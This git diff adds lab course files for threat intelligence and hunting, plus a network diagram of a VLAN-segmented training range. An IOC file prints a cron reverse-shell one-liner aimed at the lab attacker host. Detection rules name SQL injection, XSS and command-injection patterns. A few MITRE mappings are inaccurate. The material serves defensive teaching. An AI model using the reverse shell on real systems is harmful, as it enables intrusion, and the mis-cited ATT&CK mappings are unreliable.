injection +alert http any any -> $HOME_NET any (msg:"SQL Injection Attempt"; flow:established,to_server; content:"UNION"; http_uri; content:"SELECT"; http_uri; sid:1000001; rev:1;) + +# Block XSS attempts +alert http any any -> $HOME_NET any (msg:"XSS Attempt - Script Tag"; flow:established,to_server; content:" $HOME_NET any (msg:"Command Injection - Pipe Character"; flow:established,to_server; content:"|"; http_uri; sid:1000003; rev:1;) +``` + +--- + +## LAB 7.7: WEB ATTACK DETECTION IN SECURITY ONION + +### KQL Queries for Web Attacks + +``` +# SQL Injection detection +http.request.body: (*UNION* AND *SELECT*) OR http.request.uri: (*UNION* AND *SELECT*) + +# XSS detection +http.request.uri: (* Kibana > Security > Rules + +2. Create custom rule: + Name: Web Attack - SQL Injection + Index pattern: so-* + Rule query: + http.request.body: *UNION* AND http.request.body: *SELECT* + Severity: High + MITRE: T1190 (Exploit Public-Facing Application) +``` + +--- + +## DELIVERABLES + +- [ ] SQL injection attack demonstration (screenshots) +- [ ] Stored XSS payload that captures cookies +- [ ] Burp Suite Intruder brute-force results +- [ ] Command injection reverse shell capture +- [ ] WAF rule configuration blocking attacks +- [ ] Security Onion detection rules for web attacks +- [ ] Report: OWASP Top 10 vulnerabilities found in DVWA + +--- + +**END OF MODULE 7** + +Proceed to **MOD8: Threat Intelligence & Hunting** to map attacks to MITRE ATT&CK. diff --git a/MOD8_Threat_Intelligence.md b/MOD8_Threat_Intelligence.md new file mode 100644 index 0000000..4afd1c0 --- /dev/null +++ b/MOD8_Threat_Intelligence.md @@ -0,0 +1,375 @@ +# FILE: MOD8_Threat_Intelligence.md +# MODULE 8: THREAT INTELLIGENCE & HUNTING + +## Learning Objectives +- Map observed attacks to MITRE ATT&CK framework +- Create and use Indicators of Compromise (IOCs) +- Perform hypothesis-driven threat hunting +- Build threat intelligence feeds +- Update SOC dashboard with coverage metrics + +--- + +## MITRE ATT&CK FRAMEWORK + +### Understanding the Matrix + +**Tactics** (Why): Attacker's objectives +- Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command & Control, Impact + +**Techniques** (How): Methods to achieve tactics +- Example: T1190 (Exploit Public-Facing Application) + +**Sub-Techniques**: Specific variations +- Example: T1190.001 (SQL Injection) + +--- + +## LAB 8.1: MAP MOD3 ATTACKS TO MITRE ATT&CK + +### Metasploitable Exploitation Chain Mapping + +``` +ATTACK STEP 1: Port Scanning (MOD2) +MITRE Tactic: Reconnaissance (TA0043) +MITRE Technique: T1046 - Network Service Scanning +Detection: Suricata rule "GPL SCAN nmap" + +ATTACK STEP 2: vsftpd Backdoor Exploitation (MOD3) +MITRE Tactic: Initial Access (TA0001) +MITRE Technique: T1190 - Exploit Public-Facing Application +Sub-Technique: FTP Service Exploitation +Detection: Connection to port 6200 + +ATTACK STEP 3: Command Execution +MITRE Tactic: Execution (TA0002) +MITRE Technique: T1059.004 - Unix Shell +Detection: Process creation logs, bash spawned by vsftpd + +ATTACK STEP 4: Credential Dumping (hashdump) +MITRE Tactic: Credential Access (TA0006) +MITRE Technique: T1003.008 - /etc/passwd and /etc/shadow +Detection: File access logs on /etc/shadow + +ATTACK STEP 5: SSH Key Persistence +MITRE Tactic: Persistence (TA0003) +MITRE Technique: T1098.004 - SSH Authorized Keys +Detection: File modification on /root/.ssh/authorized_keys + +ATTACK STEP 6: Network Connection (Reverse Shell) +MITRE Tactic: Command and Control (TA0011) +MITRE Technique: T1071.001 - Application Layer Protocol (HTTP/TCP) +Detection: Outbound connection to 10.10.2.50:4444 +``` + +### Create MITRE Coverage Heatmap + +```javascript +// For React dashboard: dashboard/src/data/mitreAttackCoverage.js + +export const mitreCoverage = { + tactics: [ + { + name: "Initial Access", + id: "TA0001", + techniques: [ + { id: "T1190", name: "Exploit Public-Facing Application", detected: true, ruleId: "SID:1000050" }, + { id: "T1133", name: "External Remote Services", detected: false }, + ] + }, + { + name: "Execution", + id: "TA0002", + techniques: [ + { id: "T1059.004", name: "Unix Shell", detected: true, ruleId: "SID:1000051" } + ] + }, + { + name: "Persistence", + id: "TA0003", + techniques: [ + { id: "T1098.004", name: "SSH Authorized Keys", detected: true, ruleId: "SID:1000052" } + ] + }, + // ... continue for all tactics + ] +}; + +// Calculate coverage percentage +const totalTechniques = 200; // Approximate MITRE techniques +const coveredTechniques = mitreCoverage.tactics.reduce((sum, tactic) => + sum + tactic.techniques.filter(t => t.detected).length, 0 +); +const coveragePercent = (coveredTechniques / totalTechniques * 100).toFixed(1); +``` + +--- + +## LAB 8.2: INDICATORS OF COMPROMISE (IOCs) + +### Create IOC Database + +```bash +# Structure IOCs from MOD3 exploitation + +cat > /home/analyst/iocs_metasploitable_breach.txt << 'EOF' +# Metasploitable Compromise - Feb 11, 2026 + +[NETWORK INDICATORS] +Attacker_IP: 10.10.2.50 +C2_Port: 6200 (vsftpd backdoor) +C2_Port: 4444 (reverse shell listener) +Protocol: TCP + +[FILE INDICATORS] +/tmp/.hidden_shell.sh MD5:a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4 +/root/.ssh/authorized_keys Modified:2026-02-11T14:20:45Z +/var/www/html/shell.php MD5:b4c6d8e0f2a4b6c8d0e2f4a6b8c0d2e4 + +[REGISTRY/PERSISTENCE] +Cron job: * * * * * /bin/bash -i >& /dev/tcp/10.10.2.50/4444 0>&1 + +[YARA RULE - Detect Meterpreter] +rule Metasploit_Meterpreter +{ + meta: + description = "Detects Meterpreter payload signatures" + author = "Apophis SOC" + date = "2026-02-11" + strings: + $s1 = "meterpreter" nocase + $s2 = "stdapi_" nocase + $s3 = { 4D 65 74 65 72 70 72 65 74 65 72 } // "Meterpreter" hex + condition: + any of them +} +EOF +``` + +### Threat Intel Platform Integration + +```bash +# Use MISP (Malware Information Sharing Platform) +# Or OpenCTI (Open Cyber Threat Intelligence) + +# For this lab, create simple CSV for IOC tracking: + +cat > ioc_feed.csv << 'EOF' +Type,Value,Severity,First_Seen,Last_Seen,Description +IP,10.10.2.50,High,2026-02-11T14:00:00,2026-02-11T15:30:00,Kali attacker source +Port,6200,High,2026-02-11T14:15:00,2026-02-11T14:16:00,vsftpd backdoor port +Hash,a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4,Critical,2026-02-11T14:17:00,2026-02-11T14:17:00,Backdoor shell script +Filename,shell.php,High,2026-02-11T14:22:00,2026-02-11T14:22:00,Web shell +EOF + +# Import to Security Onion for enrichment +# Alerts matching these IOCs auto-escalate to Critical +``` + +--- + +## LAB 8.3: THREAT HUNTING + +### Hypothesis-Driven Hunting + +**Hypothesis 1:** "Are there unauthorized SSH keys on critical servers?" + +```bash +# Hunt across all Linux systems + +# Search file modifications +find / -name authorized_keys -type f -mtime -7 -ls 2>/dev/null +# Shows authorized_keys modified in last 7 days + +# Compare against baseline +# Golden image: Known-good authorized_keys hash +md5sum /root/.ssh/authorized_keys +# If hash differs → Investigate + +# Query Security Onion +event.dataset: "system.auth" AND file.path: "*authorized_keys*" +``` + +**Hypothesis 2:** "Are there processes with suspicious parent relationships?" + +```bash +# Hunt for shells spawned by web servers + +ps aux | grep -E "apache|nginx|httpd" | awk '{print $2}' | xargs -I {} pstree -p {} +# Look for: apache --> bash --> netcat (BAD!) + +# In Security Onion (Sysmon-like logging): +process.parent.name: "apache2" AND process.name: ("bash" OR "sh" OR "nc") +``` + +**Hypothesis 3:** "Are there large outbound data transfers (exfiltration)?" + +```bash +# Query Zeek connection logs +event.dataset: "zeek.conn" AND network.bytes > 10000000 AND destination.ip: NOT 10.10.0.0/16 +# Find connections >10MB to external IPs + +# In Kibana visualization: +# X-axis: destination.ip +# Y-axis: sum(network.bytes) +# Shows top data transfer destinations +``` + +--- + +## LAB 8.4: AUTOMATED THREAT HUNTING WITH SIGMA RULES + +### Sigma Rule Format + +```yaml +# Sigma rule: Detects SSH authorized_keys modification + +title: SSH Authorized Keys Modification +id: 12345678-1234-1234-1234-123456789012 +status: experimental +description: Detects modifications to SSH authorized_keys files (persistence) +author: Apophis SOC +date: 2026/02/11 +tags: + - attack.persistence + - attack.t1098.004 +logsource: + product: linux + service: auditd +detection: + selection: + type: 'PATH' + name|endswith: '/authorized_keys' + condition: selection +falsepositives: + - Legitimate administrator adding keys +level: medium +``` + +### Convert Sigma to Security Onion Query + +```bash +# Install sigmac (Sigma converter) +pip3 install sigmatools + +# Convert to Elasticsearch query +sigmac -t es-qs -c /etc/sigma/config.yml ssh_authorized_keys.yml + +# Output KQL: +file.path: *authorized_keys AND event.action: modify +``` + +--- + +## LAB 8.5: THREAT INTELLIGENCE FEEDS + +### Consume External Threat Intel + +```bash +# Subscribe to abuse.ch feeds +wget https://sslbl.abuse.ch/blacklist/sslipblacklist.csv -O /tmp/malicious_ips.csv + +# Parse and import to Security Onion +cat /tmp/malicious_ips.csv | grep -v "^#" | awk -F',' '{print $2}' > /tmp/ioc_ips.txt + +# Create Suricata rule to alert on connections to these IPs +while read ip; do + echo "alert ip any any -> $ip any (msg:\"Connection to Known Malicious IP\"; sid:2000000; rev:1;)" >> /etc/suricata/rules/local.rules +done < /tmp/ioc_ips.txt + +# Restart Suricata +sudo so-suricata-restart +``` + +### Create Custom Threat Feed + +```python +# Python script: generate_threat_feed.py + +import json +from datetime import datetime + +threat_feed = { + "feed_name": "Apophis Lab Threat Intel", + "version": "1.0", + "generated": datetime.now().isoformat(), + "indicators": [ + { + "type": "ipv4-addr", + "value": "10.10.2.50", + "severity": "high", + "labels": ["red-team", "internal-threat"], + "first_seen": "2026-02-11T14:00:00Z", + "tactics": ["TA0001", "TA0002", "TA0003"] + }, + { + "type": "md5", + "value": "a3f5b8c9e2d1f4a6b7c8d9e0f1a2b3c4", + "severity": "critical", + "labels": ["backdoor", "shell"], + "techniques": ["T1059.004"] + } + ] +} + +with open('/var/www/html/threat_feed.json', 'w') as f: + json.dump(threat_feed, f, indent=2) + +print("Threat feed published to: http://10.10.3.50/threat_feed.json") +``` + +--- + +## LAB 8.6: UPDATE SOC DASHBOARD + +### Integrate MITRE Coverage into React Dashboard + +```javascript +// dashboard/src/components/MitreHeatmap.jsx + +import { mitreCoverage } from '../data/mitreAttackCoverage'; + +export function MitreHeatmap() { + const tactics = mitreCoverage.tactics; + + // Calculate coverage per tactic + const tacticCoverage = tactics.map(tactic => ({ + name: tactic.name, + total: tactic.techniques.length, + detected: tactic.techniques.filter(t => t.detected).length, + percentage: (tactic.techniques.filter(t => t.detected).length / tactic.techniques.length * 100).toFixed(0) + })); + + return ( +
+

MITRE ATT&CK Coverage

+ {tacticCoverage.map(tactic => ( +
+ {tactic.name} +
+ {tactic.percentage}% +
+ {tactic.detected}/{tactic.total} +
+ ))} +
+ ); +} +``` + +--- + +## DELIVERABLES + +- [ ] MITRE ATT&CK mapping table for all MOD3 attacks +- [ ] IOC database (CSV or JSON format) +- [ ] 3 threat hunting hypotheses with query results +- [ ] Sigma rule for persistence detection +- [ ] Custom threat intelligence feed (JSON) +- [ ] Updated React dashboard with MITRE coverage heatmap + +--- + +**END OF MODULE 8** + +Proceed to **CAPSTONE: APT Simulation** to integrate all skills. diff --git a/NETWORK_DIAGRAM.md b/NETWORK_DIAGRAM.md new file mode 100644 index 0000000..8218207 --- /dev/null +++ b/NETWORK_DIAGRAM.md @@ -0,0 +1,655 @@ +# Apophis Networking Security Lab - Network Diagram + +## Physical Infrastructure Overview + +``` + ┌─────────────────┐ + │ Internet/ISP │ + └────────┬────────┘ + │ + ┌────────▼────────┐ + │ Unifi Router │ + │ (VLAN-aware) │ + │ Gateway/DHCP │ + └────────┬────────┘ + │ + │ Trunk Port + │ (All VLANs tagged) + │ + ┌────────▼────────┐ + │ Cisco Switch │ + │ (Layer 2) │ + │ VLAN 100-400 │ + └────────┬────────┘ + │ + │ Trunk Port + │ (All VLANs tagged) + │ + ┌────────▼────────┐ + │ Proxmox Server │ + │ (vmbr0) │ + │ VLAN-aware │ + │ bridge │ + └─────────────────┘ + │ + ┌────────────────────┼────────────────────┐ + │ │ │ + VLAN 100 VLAN 200-400 pfSense VM + (Management) (Security Lab VLANs) (Router/FW) +``` + +--- + +## VLAN Topology & Segmentation + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ Unifi Router (Physical) │ +│ Internet Gateway │ +│ Default VLAN 1 (Home) │ +└─────────────────────────────────────────────────────────────────────────┘ + │ + Trunk (VLANs 100,200,300,400) + │ +┌─────────────────────────────────────────────────────────────────────────┐ +│ Cisco Switch (Physical) │ +│ Trunk all VLANs to Proxmox │ +└─────────────────────────────────────────────────────────────────────────┘ + │ + Trunk (VLANs 100,200,300,400) + │ +┌─────────────────────────────────────────────────────────────────────────┐ +│ Proxmox Server - vmbr0 Bridge │ +│ (VLAN-aware enabled) │ +└─────────────────────────────────────────────────────────────────────────┘ + │ │ │ │ + ┌────▼────┐ ┌───▼────┐ ┌────▼────┐ ┌────▼────┐ + │ VLAN 100│ │VLAN 200│ │VLAN 300 │ │VLAN 400 │ + │Management│ │Red Team│ │Blue Team│ │ Victim │ + │10.10.1│ │10.10.2│ │10.10.3│ │10.10.4│ + │ .0/24 │ │ .0/24 │ │ .0/24 │ │ .0/24 │ + └─────────┘ └────────┘ └─────────┘ └─────────┘ +``` + +--- + +## Detailed VLAN Configuration + +### VLAN 100 - Management Network (10.10.1.0/24) + +**Purpose**: Hypervisor management and pfSense WAN interface + +``` +┌──────────────────────────────────────────┐ +│ VLAN 100 - Management │ +│ 10.10.1.0/24 │ +├──────────────────────────────────────────┤ +│ │ +│ ┌────────────────────────────────┐ │ +│ │ Proxmox Host (Physical) │ │ +│ │ IP: 10.10.1.1 │ │ +│ │ Web UI: https://10.10.1.1:8006 │ │ +│ └────────────────────────────────┘ │ +│ │ +│ ┌────────────────────────────────┐ │ +│ │ pfSense VM - WAN Interface │ │ +│ │ IP: 10.10.1.2 │ │ +│ │ Gateway to other VLANs │ │ +│ │ Web UI: https://10.10.1.2 │ │ +│ └────────────────────────────────┘ │ +│ │ +└──────────────────────────────────────────┘ +``` + +**Access**: Your management workstation connects here to access Proxmox and pfSense + +--- + +### pfSense VM - Internal Router/Firewall + +**Role**: Routes traffic between VLANs 200, 300, 400 with firewall rules + +``` +┌─────────────────────────────────────────────────────┐ +│ pfSense VM (Router/FW) │ +│ │ +│ ┌───────────┐ ┌───────────┐ ┌───────────┐ │ +│ │ vtnet0 │ │ vtnet1 │ │ vtnet2 │ ... │ +│ │ VLAN 100 │ │ VLAN 200 │ │ VLAN 300 │ │ +│ │ (WAN) │ │ (RED) │ │ (BLUE) │ │ +│ │.100.2 │ │.200.1 │ │.300.1 │ │ +│ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │ +│ │ │ │ │ +│ │ ┌────▼──────────────▼────┐ │ +│ └────────►│ Firewall Rules │ │ +│ │ NAT Rules │ │ +│ │ IDS/IPS (Suricata) │ │ +│ └────────────────────────┘ │ +│ │ +│ vtnet3 → VLAN 400 (10.10.4.1) │ +└─────────────────────────────────────────────────────┘ +``` + +**Network Interfaces**: +- **vtnet0** (WAN): VLAN 100 - 10.10.1.2 → Management network +- **vtnet1** (RED): VLAN 200 - 10.10.2.1 → Red Team gateway +- **vtnet2** (BLUE): VLAN 300 - 10.10.3.1 → Blue Team gateway +- **vtnet3** (VICTIM): VLAN 400 - 10.10.4.1 → Victim network gateway + +--- + +### VLAN 200 - Red Team / Attacker Network (10.10.2.0/24) + +**Purpose**: Offensive security tools and attack infrastructure + +``` +┌──────────────────────────────────────────┐ +│ VLAN 200 - Red Team │ +│ 10.10.2.0/24 │ +├──────────────────────────────────────────┤ +│ │ +│ Gateway: 10.10.2.1 (pfSense) │ +│ DNS: 10.10.2.1 │ +│ │ +│ ┌────────────────────────────────┐ │ +│ │ Kali Linux VM │ │ +│ │ IP: 10.10.2.50 │ │ +│ │ Hostname: kali-attacker │ │ +│ │ │ │ +│ │ Tools: │ │ +│ │ • Nmap, Masscan │ │ +│ │ • Metasploit Framework │ │ +│ │ • Impacket (SMB/Kerberos) │ │ +│ │ • BloodHound, Responder │ │ +│ │ • Mimikatz, PowerSploit │ │ +│ │ • Burp Suite, SQLMap │ │ +│ │ • CrackMapExec, Evil-WinRM │ │ +│ └────────────────────────────────┘ │ +│ │ +└──────────────────────────────────────────┘ +``` + +**Firewall Rules** (pfSense): +- **Outbound**: Allow to VLAN 400 (victim network) - controlled by lab phase +- **Inbound**: Deny all from other VLANs +- **Logging**: All traffic logged for Blue Team analysis + +--- + +### VLAN 300 - Blue Team / Monitoring Network (10.10.3.0/24) + +**Purpose**: Defensive security monitoring and SIEM + +``` +┌──────────────────────────────────────────┐ +│ VLAN 300 - Blue Team │ +│ 10.10.3.0/24 │ +├──────────────────────────────────────────┤ +│ │ +│ Gateway: 10.10.3.1 (pfSense) │ +│ DNS: 10.10.3.1 │ +│ │ +│ ┌────────────────────────────────┐ │ +│ │ Security Onion VM │ │ +│ │ IP: 10.10.3.100 │ │ +│ │ Hostname: securityonion │ │ +│ │ │ │ +│ │ Components: │ │ +│ │ • Kibana (SIEM) │ │ +│ │ • Elasticsearch (logs) │ │ +│ │ • Suricata (IDS/IPS) │ │ +│ │ • Zeek/Bro (network analysis) │ │ +│ │ • Stenographer (PCAP) │ │ +│ │ • Wazuh (HIDS) │ │ +│ │ │ │ +│ │ Web UI: │ │ +│ │ https://10.10.3.100 │ │ +│ └────────────────────────────────┘ │ +│ │ +└──────────────────────────────────────────┘ +``` + +**Firewall Rules** (pfSense): +- **Inbound**: Mirror/SPAN traffic from VLAN 400 for IDS monitoring +- **Outbound**: Allow to Management VLAN (alerts/logs) +- **Isolation**: No direct access to VLAN 200 or 400 + +--- + +### VLAN 400 - Victim Network (10.10.4.0/24) + +**Purpose**: Vulnerable target systems for penetration testing + +``` +┌────────────────────────────────────────────────────────────────┐ +│ VLAN 400 - Victim Network │ +│ 10.10.4.0/24 │ +├────────────────────────────────────────────────────────────────┤ +│ │ +│ Gateway: 10.10.4.1 (pfSense) │ +│ DNS: 10.10.4.10 (DC01) │ +│ Domain: apophis.local │ +│ │ +│ ┌──────────────────────────────────────────────────┐ │ +│ │ DC01 - Domain Controller │ │ +│ │ IP: 10.10.4.10 │ │ +│ │ OS: Windows Server 2022 │ │ +│ │ Services: AD DS, DNS, LDAP, Kerberos │ │ +│ │ Domain: apophis.local │ │ +│ └──────────────────────────────────────────────────┘ │ +│ │ +│ ┌──────────────────────────────────────────────────┐ │ +│ │ WS01 - HR Workstation │ │ +│ │ IP: 10.10.4.20 │ │ +│ │ OS: Windows 10 Pro │ │ +│ │ Domain: apophis.local\hruser │ │ +│ │ Group: Domain Users │ │ +│ └──────────────────────────────────────────────────┘ │ +│ │ +│ ┌──────────────────────────────────────────────────┐ │ +│ │ WS02 - IT Admin Workstation │ │ +│ │ IP: 10.10.4.21 │ │ +│ │ OS: Windows 10 Pro │ │ +│ │ Domain: apophis.local\itadmin │ │ +│ │ Group: Domain Admins (privileged) │ │ +│ └──────────────────────────────────────────────────┘ │ +│ │ +│ ┌──────────────────────────────────────────────────┐ │ +│ │ WEB01 - Web Application Server │ │ +│ │ IP: 10.10.4.30 │ │ +│ │ OS: Ubuntu 22.04 LTS │ │ +│ │ Services: DVWA (Docker), Apache, MySQL │ │ +│ │ Ports: 80 (HTTP), 22 (SSH), 3306 (MySQL) │ │ +│ └──────────────────────────────────────────────────┘ │ +│ │ +│ ┌──────────────────────────────────────────────────┐ │ +│ │ FILE01 - Legacy File Server │ │ +│ │ IP: 10.10.4.40 │ │ +│ │ OS: Metasploitable 2 (Ubuntu 8.04) │ │ +│ │ Services: FTP (vsftpd 2.3.4), SMB, SSH, MySQL │ │ +│ │ Vulnerabilities: Multiple (intentional) │ │ +│ └──────────────────────────────────────────────────┘ │ +│ │ +└────────────────────────────────────────────────────────────────┘ +``` + +**Firewall Rules** (pfSense): +- **Default**: Allow internal communication within VLAN 400 +- **Inbound from VLAN 200**: Deny by default (enable per-lab exercise) +- **Outbound to Internet**: Allow (for updates/downloads) +- **Logging**: All inter-VLAN traffic logged + +--- + +## Traffic Flow Examples + +### Example 1: Red Team Attack (MOD3 - Exploitation) + +``` +┌──────────────┐ ┌──────────────┐ ┌──────────────┐ +│ Kali Linux │────1───►│ pfSense │────2───►│ FILE01 │ +│ 10.10.2.50 │ │ Firewall │ │ 10.10.4.40 │ +│ VLAN 200 │ │ Rules Check │ │ VLAN 400 │ +└──────────────┘ └──────────────┘ └──────────────┘ + │ + 3│ │ (Mirror/SPAN) + │ │ + ▼ ▼ + ┌──────────────────┐ + │ Security Onion │ + │ 10.10.3.100 │ + │ VLAN 300 │ + │ (IDS Alerts) │ + └──────────────────┘ +``` + +**Flow**: +1. Kali sends exploit to FILE01 (vsftpd backdoor) +2. pfSense allows (per lab rules) and logs connection +3. Security Onion captures traffic via SPAN port, Suricata generates alert + +--- + +### Example 2: Lateral Movement (MOD5 - AD Attacks) + +``` +┌──────────────┐ PSExec/SMB ┌──────────────┐ Kerberos ┌──────────────┐ +│ Kali Linux │─────────────────►│ WS02 │───────────────►│ DC01 │ +│ 10.10.2.50 │ (via pfSense) │ 10.10.4.21 │ TGT Request │ 10.10.4.10 │ +│ VLAN 200 │ │ VLAN 400 │ │ VLAN 400 │ +└──────────────┘ └──────────────┘ └──────────────┘ + │ │ │ + └──────────────────────────────────┴──────────────────────────────┘ + │ + (All logged by + Security Onion) +``` + +**Flow**: +1. Kali uses stolen credentials to PSExec into WS02 +2. From WS02, perform Kerberoasting against DC01 +3. Security Onion logs all SMB and Kerberos traffic + +--- + +### Example 3: Blue Team Forensics (MOD6 - Incident Response) + +``` +┌──────────────────┐ ┌──────────────────┐ +│ Your Workstation │──────Management──────────►│ Proxmox Console │ +│ (VLAN 100) │ VLAN 100 │ 10.10.1.1 │ +└──────────────────┘ └─────────┬────────┘ + │ + Take VM Snapshot + Export disk image + │ + ┌───────────────────────────────────┘ + │ + ▼ + ┌──────────────────┐ + │ WS02 (Snapshot) │◄──── Forensic Analysis + │ Disk Image │ • Autopsy + │ Memory Dump │ • Volatility + └──────────────────┘ • Timeline reconstruction +``` + +**Flow**: +1. Access Proxmox from Management VLAN +2. Create snapshots of compromised VMs +3. Export disk images for forensic analysis +4. Analyze with Autopsy/Volatility on separate forensics workstation + +--- + +## Physical Switch Configuration (Cisco) + +### Required VLAN Configuration + +```cisco +! Create VLANs +vlan 100 + name Management +vlan 200 + name RedTeam +vlan 300 + name BlueTeam +vlan 400 + name Victim + +! Trunk port to Proxmox server (assume GigabitEthernet0/1) +interface GigabitEthernet0/1 + description Trunk to Proxmox Server + switchport mode trunk + switchport trunk allowed vlan 100,200,300,400 + switchport trunk native vlan 100 + spanning-tree portfast trunk + +! Trunk port to Unifi Router (assume GigabitEthernet0/24) +interface GigabitEthernet0/24 + description Trunk to Unifi Router + switchport mode trunk + switchport trunk allowed vlan 100,200,300,400 + switchport trunk native vlan 1 +``` + +--- + +## Unifi Router/Gateway Configuration + +### VLAN Networks Setup + +``` +Network: Management (VLAN 100) +├─ VLAN ID: 100 +├─ Subnet: 10.10.1.0/24 +├─ Gateway: 10.10.1.254 (Unifi router) +├─ DHCP: Disabled (static IPs only) +└─ Purpose: Proxmox management access + +Network: Red Team (VLAN 200) +├─ VLAN ID: 200 +├─ Subnet: 10.10.2.0/24 +├─ Gateway: 10.10.2.1 (pfSense handles routing) +├─ DHCP: Disabled (pfSense provides DHCP) +└─ Purpose: Isolated attacker network + +Network: Blue Team (VLAN 300) +├─ VLAN ID: 300 +├─ Subnet: 10.10.3.0/24 +├─ Gateway: 10.10.3.1 (pfSense handles routing) +├─ DHCP: Disabled (static IP for Security Onion) +└─ Purpose: Monitoring and SIEM + +Network: Victim (VLAN 400) +├─ VLAN ID: 400 +├─ Subnet: 10.10.4.0/24 +├─ Gateway: 10.10.4.1 (pfSense handles routing) +├─ DHCP: Provided by DC01 (10.10.4.10) +└─ Purpose: Target systems +``` + +**Inter-VLAN Routing**: Handled by pfSense VM (VLANs 200-400) +**Internet Access**: Routed through Unifi → pfSense NAT + +--- + +## Proxmox Network Configuration + +### Linux Bridge Configuration (vmbr0) + +```bash +# /etc/network/interfaces + +auto lo +iface lo inet loopback + +# Physical interface +auto ens18 +iface ens18 inet manual + +# VLAN-aware bridge +auto vmbr0 +iface vmbr0 inet static + address 10.10.1.1/24 + gateway 10.10.1.254 + bridge-ports ens18 + bridge-stp off + bridge-fd 0 + bridge-vlan-aware yes + bridge-vids 100 200 300 400 +``` + +### VM Network Configuration Examples + +**pfSense VM**: +- **Net0**: vmbr0, VLAN 100 (WAN/Management) +- **Net1**: vmbr0, VLAN 200 (Red Team) +- **Net2**: vmbr0, VLAN 300 (Blue Team) +- **Net3**: vmbr0, VLAN 400 (Victim) + +**Kali Linux VM**: +- **Net0**: vmbr0, VLAN 200 + +**Security Onion VM**: +- **Net0**: vmbr0, VLAN 300 + +**DC01 / WS01 / WS02 / WEB01 / FILE01**: +- **Net0**: vmbr0, VLAN 400 + +--- + +## IP Address Allocation Table + +| VLAN | Network | Device | IP Address | Role | +|------|----------------|-------------------|---------------|---------------------| +| 100 | 10.10.1.0/24 | Proxmox Host | 10.10.1.1 | Hypervisor | +| 100 | 10.10.1.0/24 | pfSense WAN | 10.10.1.2 | Internal router | +| 100 | 10.10.1.0/24 | Unifi Router | 10.10.1.254 | Gateway/Internet | +| 200 | 10.10.2.0/24 | pfSense (RED) | 10.10.2.1 | VLAN 200 gateway | +| 200 | 10.10.2.0/24 | Kali Linux | 10.10.2.50 | Attacker workstation| +| 300 | 10.10.3.0/24 | pfSense (BLUE) | 10.10.3.1 | VLAN 300 gateway | +| 300 | 10.10.3.0/24 | Security Onion | 10.10.3.100 | SIEM/IDS | +| 400 | 10.10.4.0/24 | pfSense (VICTIM) | 10.10.4.1 | VLAN 400 gateway | +| 400 | 10.10.4.0/24 | DC01 | 10.10.4.10 | Domain Controller | +| 400 | 10.10.4.0/24 | WS01 | 10.10.4.20 | HR Workstation | +| 400 | 10.10.4.0/24 | WS02 | 10.10.4.21 | IT Admin Workstation| +| 400 | 10.10.4.0/24 | WEB01 | 10.10.4.30 | Web App Server | +| 400 | 10.10.4.0/24 | FILE01 | 10.10.4.40 | Legacy File Server | + +--- + +## Security Isolation Matrix + +| From VLAN | To VLAN 100 | To VLAN 200 | To VLAN 300 | To VLAN 400 | Internet | +|-----------|-------------|-------------|-------------|-------------|----------| +| **100** (Mgmt) | ✅ Allow | ✅ Allow | ✅ Allow | ✅ Allow | ✅ Allow | +| **200** (Red) | ❌ Deny | ✅ Allow | ❌ Deny | 🔶 Lab-based | ✅ Allow | +| **300** (Blue) | ✅ Allow | ❌ Deny | ✅ Allow | 👁️ Monitor only | ✅ Allow | +| **400** (Victim) | ❌ Deny | ❌ Deny | ❌ Deny | ✅ Allow | ✅ Allow | + +**Legend**: +- ✅ Allow - Traffic permitted +- ❌ Deny - Traffic blocked by default +- 🔶 Lab-based - Enabled per exercise (pfSense rules) +- 👁️ Monitor only - SPAN/mirror traffic for IDS + +--- + +## Traffic Mirroring for IDS (Security Onion) + +To enable Security Onion to monitor VLAN 400 traffic: + +### Option 1: pfSense Packet Capture +```bash +# On pfSense, enable packet mirroring to Security Onion +# Diagnostics → Packet Capture → Mirror to 10.10.3.100 +``` + +### Option 2: Cisco Switch SPAN Port +```cisco +! Configure SPAN to mirror VLAN 400 to Security Onion monitoring port +monitor session 1 source vlan 400 +monitor session 1 destination interface GigabitEthernet0/10 +! Connect Security Onion monitoring interface to Gi0/10 +``` + +### Option 3: Proxmox TAP Interface +- Create virtual TAP between VLAN 400 bridge and Security Onion +- Security Onion gets promiscuous interface for passive monitoring + +--- + +## Quick Setup Checklist + +### Physical Infrastructure +- [ ] Connect Proxmox server to Cisco switch via trunk port +- [ ] Connect Cisco switch to Unifi router via trunk port +- [ ] Configure VLANs 100, 200, 300, 400 on Cisco switch +- [ ] Enable VLAN-aware bridge on Proxmox (vmbr0) + +### Unifi Router +- [ ] Create VLAN networks (100, 200, 300, 400) +- [ ] Set subnet for each VLAN (10.10.x.0/24) +- [ ] Configure firewall rules (optional - pfSense handles most) + +### Proxmox Configuration +- [ ] Edit `/etc/network/interfaces` with VLAN-aware bridge +- [ ] Reboot Proxmox host +- [ ] Verify bridge with: `ip link show vmbr0` + +### pfSense VM Deployment +- [ ] Create pfSense VM with 4 network interfaces +- [ ] Assign interfaces: vtnet0-3 to VLANs 100, 200, 300, 400 +- [ ] Configure WAN (VLAN 100): 10.10.1.2 +- [ ] Configure LAN interfaces for other VLANs (.1 addresses) +- [ ] Set up firewall rules per module requirements + +### VM Deployment +- [ ] Deploy Kali Linux on VLAN 200 +- [ ] Deploy Security Onion on VLAN 300 +- [ ] Deploy victim systems on VLAN 400 (DC01, WS01, WS02, WEB01, FILE01) +- [ ] Configure static IPs per allocation table +- [ ] Join Windows systems to apophis.local domain + +### Verification Tests +- [ ] Ping test: Kali → pfSense (10.10.2.1) ✅ +- [ ] Ping test: Kali → FILE01 (10.10.4.40) ❌ (blocked by default) +- [ ] Ping test: Security Onion → pfSense (10.10.3.1) ✅ +- [ ] DNS resolution: DC01 resolves apophis.local +- [ ] IDS test: Generate Suricata alert from Kali scan +- [ ] Web UI access: pfSense (10.10.1.2), Security Onion (10.10.3.100) + +--- + +## Diagram for Visual Tools + +If you want to create a visual diagram, use these tools: + +### Recommended Tools: +1. **Draw.io** (diagrams.net) - Free, exports to PNG/SVG +2. **Lucidchart** - Professional network diagrams +3. **Microsoft Visio** - Enterprise standard +4. **Netbox** - Network documentation platform + +### Import Template: +Copy this structure into your diagram tool: + +**Physical Layer**: +- Internet → Unifi Router → Cisco Switch → Proxmox Server + +**Virtual Layer**: +- 4 VLANs (100, 200, 300, 